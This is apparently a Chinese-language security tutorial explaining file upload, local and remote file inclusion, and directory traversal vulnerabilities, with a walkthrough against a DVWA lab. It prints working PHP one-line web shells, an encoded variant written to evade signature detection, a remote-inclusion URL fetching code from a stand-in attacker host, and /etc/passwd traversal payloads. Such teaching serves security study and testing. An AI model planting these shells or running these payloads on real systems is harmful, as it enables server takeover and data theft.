文件上传、文件包含和目路遍历是《黑客防线》盛行的时代常谈的getshell手法,但到现在的安全书藉感觉就比较少提及或一笔带过。在谈的年代看不懂,在看得懂的年代又不谈了,概念感觉总是很模糊所以想探究一翻。
以假设当前服务端具有上传图片功能为例。
文件上传漏洞是指利用程序提供的文件上传功能,上传当前中间件可执行的脚本文件。比如tomcat就上传jsp文件等。
其实文件上传不是你能把脚本文件传上去就成功了,你还得知道其上传到的位置,还需要上传到的目录允许执行,否则传了上去也没法利用。
严格来说,文件上传还可能导致其他问题,比如上传超大文件造成占用带宽占满磁盘等,不过这里就暂且不讲了。
防护手段 | 上传方法 | 利用难度 |
无防护手 | 直接上传.jsp文件 | 易 |
服务器端content-type头校验 | burpsuite截包直接修改成image/jpeg等 | 易 |
服务器端文件幻数检测 | 在脚本开头加上幻数即可 | 易 |
服务器端黑名单 | 中间件可能支持多个扩展名,改成不在黑名单中的。或者传一个.jsp.xxx配合中间件文件解析漏洞 | 前易后难,因为以前的文件解析漏洞都被补上了 |
浏览器端白名单 | 先将.jsp改为.jpg上传时burpsuite拦包改回.jsp即可 | 易 |
服务器端白名单 | 上传文件,配合文件包含漏洞 | 难。需要先存在文件包含 |
文件上传是为了控制服务器,所以传的要么是小马要么是大马。
所谓小马,就是一句话木马。能做为木马的单条代码,要么具有能动态执行语句的函数,要么具有能调用系统命令的函数。小马需要客户端给小马指定要执行什么命令,最经典的小马客户端应该是中国菜刀。经典的php小马长这样:
<?php @eval($_POST[“cmd”]);?>
所谓大马,就是自己具有web界面供用户操作的webshell,由于具有界面所以不需要客户端。典型的大马长这样(图片来自百度百科):
webshell密码在小马和大马中其实不是一个意思。
大马的密码,是黑客为了防止别的黑客发现其大马后可以直接利用而加入的验证语句,大马的密码就是我们平常认知的密码。
而小马密码,是指webshell获取提交时用的参数名,只有参数名对了一句话才能获取到提交的内容,所以一句话木马的“密码”必然是存在的而不是故意加上去的。
比如在以下一句话中,“密码”是cmd(我们在我一些教程中看到的暴破小马密码操作,其实质就是在猜一句话到底是获取什么参数名的值)
<?php @eval($_POST["cmd"]);?>
当然如果你想----虽然没什么意思----也完全可以给一句话加一个真正的密码,比如前边的一句话被改成如下:
<?php if(md5($_POST["pwd"])=="e10adc3949ba59abbe56e057f20f883e")@eval($_POST["cmd"]); ?>
首先,我们要理解防护程序对webshell的查杀是根据“特征码”查杀的,比如只要上传的文件中含有eval就认为其是webshell。
然后,我们需要明确最后我们必然是要使用eval这类函数的,不然无法执行代码。
所以,免杀的概念就可以定义为:使用不包含特征码的语句来生成eval等特征码的操作。非特征码语句生成特征码一般通过是编码实现的。
比如,弄成下面这样,经过各种编码最后生成eval函数执行客户端提交:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
看到系统有文件上传的地方就测一下2.2中说的各种手法能不能上传webshell。
小马内容如下,保存为yijuhua.php(我这里上传后的文件地址是http://10.10.6.91/dvwa/hackable/uploads/yijuhua.php):
<?php @eval($_POST["cmd"]);?>
打开菜刀,在主界面空白处右键,然后点击右键菜单中的“添加”按钮添加shell。地址处填写小马的URL,地址右侧填写eval()取的参数名(即所谓的密码),配置填写数据库的信息如果不知道或不想连数据库可以不用管。
添加完成后在主界面即可看到添加的小马,选中后在其上右键即会出现可进行的操作,一般使用“文件管理”和“虚拟终端”。
我们以打开虚拟终端执行一条命令作为演示,结果如下,证明成功执行。
我们使用wireshark追踪上述过程的数据流,可以看到其工作原理就是给cmd参数赋值然后post,其他文件管理什么的也都一样。
文件包含是指当前脚本文件可通过include等函数,导入其他文件的代码到本文件引发的漏洞。
如果“其他文件”可以是本地文件(本机上的文件)那就是本地文件包含漏洞,如果“其他文件”可以远程文件(其他机器上的文件)那就是远程文件包含漏洞。也就是说这两种漏洞产生的位置是一样的,只是因为利用形式不同才把他们区分开来。
本地文件包含漏洞一是可以查看本地敏感文件,二是可以配合文件上传漏洞执行攻击代码。
比如当前存在页面http://www.vuln.com/vuln.php?page=xxx,其代码如下:
if (isset($_GET['page'])) {
include $_GET['page'].'.php';
} else {
include "default.php";
}
使用http://www.vuln.com/vuln.php?page=../../etc/passwd%00那就可以查看/etc/passwd文件的内容(当然得基于..个数对的前提下)
使用http://www.vuln.com/vuln.php?page=../../webshell.jpg%00(webshell.jpg中是文件上传中上传的攻击代码)就能执行webshell.jpg中的攻击代码。
远程文件包含一般是用于包含远程攻击主机上的恶意代码文件实现攻击。
还是上边的http://www.vuln.com/vuln.php?page=xxx,如果存在远程文件包含
那使用http://www.vuln.com/vuln.php?page=http://www.hack.com/webshell,访问那么http://www.hack.com/webshell.php的代码就会被执行。
看到像指定文件名的参数
本地文件包含----把该参数改成其他文件名,看能不能包含。
远程文件包含----把该参数改成百度首页,看能不能包含。
目录遍历是指攻击者可以通过,将文件变量改成../../etc/passwd等形式下载预期外文件的漏洞。
按目录遍历的定义会产生一个问题,这样的话目录遍历和上边的本地文件包含引起的本地敏感文件泄漏有什么区别呢?
从技术上来看,文件包含造成的信息泄漏是通过include、read等函数把文件读取到当前文件内进行展示;而目录遍历是中间件配置引发的问题。
从url表现上看,文件包含造成的信息泄漏文件名是一个参数,而目录遍历中的文件名在url中而不是一个参数。
从内容表现来看,文件包含造成的信息泄漏泄漏的信息是展示在html文件中;而目录遍历引发的信息泄漏是泄漏文件自己。
比如同是/etc/passwd:
漏洞 | url | 内容表现 |
文件包含 | http://www.vuln.com/vlun.php?filename=../../etc/passwd | 访问到的是vlun.php对应的html文件,/etc/passwd的内容被插入在该html文件中显示 |
目录遍历 | http://www.vuln.com/../../etc/passwd | 访问到的就是/etc/passwd本身,而不是将其内容显示在其他文件中 |
一个网站,找到两个不同目录的文件,访问其中一个文件后,试看能不能通过../方式访问到另外一个文件。
如果可以试试看能不能访问非本网站目录下的文件。如果不可以那就是本网站没目录遍历漏洞。